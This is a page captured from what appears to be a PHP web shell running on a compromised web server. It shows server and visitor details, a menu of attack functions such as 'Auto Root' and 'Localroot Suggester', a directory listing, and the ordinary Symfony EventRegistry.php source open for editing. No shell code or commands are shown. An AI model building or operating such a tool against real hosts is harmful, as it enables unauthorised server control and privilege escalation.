Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.133.149.244
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
maker-bundle /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Command
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Console
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
DependencyInjection
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Docker
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Doctrine
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Event
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Exception
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Maker
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Renderer
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Resources
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Security
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Test
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Util
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
ApplicationAwareMakerInterface.php
574
B
-rw-rw-r--
2022-05-17 15:46
ConsoleStyle.php
1.08
KB
-rw-rw-r--
2022-05-17 15:46
DependencyBuilder.php
4.1
KB
-rw-rw-r--
2022-05-17 15:46
EventRegistry.php
6.37
KB
-rw-rw-r--
2022-05-17 15:46
FileManager.php
6.66
KB
-rw-rw-r--
2022-05-17 15:46
Generator.php
9.36
KB
-rw-rw-r--
2022-05-17 15:46
GeneratorTwigHelper.php
2.54
KB
-rw-rw-r--
2022-05-17 15:46
InputAwareMakerInterface.php
676
B
-rw-rw-r--
2022-05-17 15:46
InputConfiguration.php
764
B
-rw-rw-r--
2022-05-17 15:46
MakerBundle.php
1.46
KB
-rw-rw-r--
2022-05-17 15:46
MakerInterface.php
1.56
KB
-rw-rw-r--
2022-05-17 15:46
Str.php
6.93
KB
-rw-rw-r--
2022-05-17 15:46
Validator.php
8.52
KB
-rw-rw-r--
2022-05-17 15:46
Save
Rename
<?php /* * This file is part of the Symfony MakerBundle package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bundle\MakerBundle; use Symfony\Component\Console\Event\ConsoleCommandEvent; use Symfony\Component\Console\Event\ConsoleErrorEvent; use Symfony\Component\Console\Event\ConsoleTerminateEvent; use Symfony\Component\EventDispatcher\Event as LegacyEvent; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent; use Symfony\Component\HttpKernel\Event\ControllerEvent; use Symfony\Component\HttpKernel\Event\ExceptionEvent; use Symfony\Component\HttpKernel\Event\FilterControllerArgumentsEvent; use Symfony\Component\HttpKernel\Event\FilterControllerEvent; use Symfony\Component\HttpKernel\Event\FilterResponseEvent; use Symfony\Component\HttpKernel\Event\FinishRequestEvent; use Symfony\Component\HttpKernel\Event\GetResponseEvent; use Symfony\Component\HttpKernel\Event\GetResponseForControllerResultEvent; use Symfony\Component\HttpKernel\Event\GetResponseForExceptionEvent; use Symfony\Component\HttpKernel\Event\PostResponseEvent; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\Event\TerminateEvent; use Symfony\Component\HttpKernel\Event\ViewEvent; use Symfony\Component\Security\Core\Event\AuthenticationFailureEvent; use Symfony\Component\Security\Core\Event\AuthenticationSuccessEvent; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; use Symfony\Component\Security\Http\Event\SwitchUserEvent; use Symfony\Contracts\EventDispatcher\Event; /** * @internal */ class EventRegistry { // list of *known* events to always include (if they exist) private static $newEventsMap = [ 'kernel.exception' => ExceptionEvent::class, 'kernel.request' => RequestEvent::class, 'kernel.response' => ResponseEvent::class, 'kernel.view' => ViewEvent::class, 'kernel.controller_arguments' => ControllerArgumentsEvent::class, 'kernel.controller' => ControllerEvent::class, 'kernel.terminate' => TerminateEvent::class, ]; private static $eventsMap = [ 'console.command' => ConsoleCommandEvent::class, 'console.terminate' => ConsoleTerminateEvent::class, 'console.error' => ConsoleErrorEvent::class, 'kernel.request' => GetResponseEvent::class, 'kernel.exception' => GetResponseForExceptionEvent::class, 'kernel.view' => GetResponseForControllerResultEvent::class, 'kernel.controller' => FilterControllerEvent::class, 'kernel.controller_arguments' => FilterControllerArgumentsEvent::class, 'kernel.response' => FilterResponseEvent::class, 'kernel.terminate' => PostResponseEvent::class, 'kernel.finish_request' => FinishRequestEvent::class, 'security.authentication.success' => AuthenticationSuccessEvent::class, 'security.authentication.failure' => AuthenticationFailureEvent::class, 'security.interactive_login' => InteractiveLoginEvent::class, 'security.switch_user' => SwitchUserEvent::class, ]; private $eventDispatcher; public function __construct(EventDispatcherInterface $eventDispatcher) { $this->eventDispatcher = $eventDispatcher; // Loop through the new event classes foreach (self::$newEventsMap as $eventName => $newEventClass) { // Check if the new event classes exist, if so replace the old one with the new. if (isset(self::$eventsMap[$eventName]) && class_exists($newEventClass)) { self::$eventsMap[$eventName] = $newEventClass; } } } /** * Returns all known event names in the system. */ public function getAllActiveEvents(): array { $activeEvents = []; foreach (self::$eventsMap as $eventName => $eventClass) { if (!class_exists($eventClass)) { continue; } $activeEvents[] = $eventName; } $listeners = $this->eventDispatcher->getListeners(); // Check if these listeners are part of the new events. foreach (array_keys($listeners) as $listenerKey) { if (isset(self::$newEventsMap[$listenerKey])) { unset($listeners[$listenerKey]); } if (!isset(self::$eventsMap[$listenerKey])) { self::$eventsMap[$listenerKey] = $this->getEventClassName($listenerKey); } } $activeEvents = array_unique(array_merge($activeEvents, array_keys($listeners))); asort($activeEvents); return $activeEvents; } /** * Attempts to get the event class for a given event. */ public function getEventClassName(string $event): ?string { // if the event is already a class name, use it if (class_exists($event)) { return $event; } if (isset(self::$eventsMap[$event])) { return self::$eventsMap[$event]; } $listeners = $this->eventDispatcher->getListeners($event); if (empty($listeners)) { return null; } foreach ($listeners as $listener) { if (!\is_array($listener) || 2 !== \count($listener)) { continue; } $reflectionMethod = new \ReflectionMethod($listener[0], $listener[1]); $args = $reflectionMethod->getParameters(); if (!$args) { continue; } if (null !== $type = $args[0]->getType()) { $type = $type instanceof \ReflectionNamedType ? $type->getName() : $type->__toString(); if (LegacyEvent::class === $type && class_exists(Event::class)) { return Event::class; } // ignore an "object" type-hint if ('object' === $type) { continue; } return $type; } } return null; } public function listActiveEvents(array $events): array { foreach ($events as $key => $event) { $events[$key] = sprintf('%s (<fg=yellow>%s</>)', $event, self::$eventsMap[$event]); } return $events; } }